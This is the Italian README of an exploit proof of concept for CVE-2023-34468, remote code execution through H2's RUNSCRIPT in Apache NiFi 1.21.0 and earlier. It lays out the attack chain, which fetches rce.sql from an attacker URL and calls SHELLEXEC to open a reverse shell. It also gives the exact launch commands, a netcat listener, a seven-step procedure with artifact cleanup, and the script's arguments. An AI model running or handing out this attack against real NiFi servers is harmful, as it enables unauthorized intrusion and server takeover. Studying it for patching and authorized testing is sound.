
Exploit PoC per CVE-2023-34468 — RCE tramite H2 RUNSCRIPT in Apache NiFi <= 1.21.0
Esecuzione remota di codice tramite istruzione RUNSCRIPT del database H2 in Apache NiFi <= 1.21.0
Apache NiFi include di default un JAR del database H2. Il controller service DBCPConnectionPool
può essere configurato per utilizzare questo driver H2. H2 supporta un'istruzione RUNSCRIPT
che recupera ed esegue un file SQL da un URL remoto. Tale file SQL può definire
codice Java arbitrario tramite CREATE ALIAS ed eseguirlo sul sistema operativo del server.
Catena di attacco:
DBCPConnectionPool (driver H2)
→ processor ExecuteSQL
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (metodo Java)
→ CALL SHELLEXEC (reverse shell)
| Software | Versione |
|---|---|
| Apache NiFi | <= 1.21.0 |
| Corretto in | 1.21.1+ |
| Java | Qualsiasi (incluso) |
requests → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
Terminale 1 — listener:
nc -lvnp 4444
Terminale 2 — exploit:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Verifica l'accesso anonimo e i permessi di scrittura
Step 2 Ottiene l'ID del Process Group root
Step 3 Crea un controller service DBCPConnectionPool malizioso
Step 4 Abilita il controller service (gestisce il versionamento delle revisioni)
Step 5 Crea un processor ExecuteSQL che punta a rce.sql sul nostro server HTTP
Step 6 Avvia il processor → NiFi recupera rce.sql → callback della shell
Step 7 Pulizia (se è impostato il flag --cleanup)
| Argomento | Default | Descrizione |
|---|
--target | http://NiFi.target.com | URL base NiFi di destinazione |
--lhost | 10.10.10.10 | Il tuo IP (tun0) |
--lport | 4444 | Porta del listener reverse shell |
--http-port | 80 | Porta per servire rce.sql |
--cleanup | False | Elimina gli artefatti creati dopo l'esecuzione |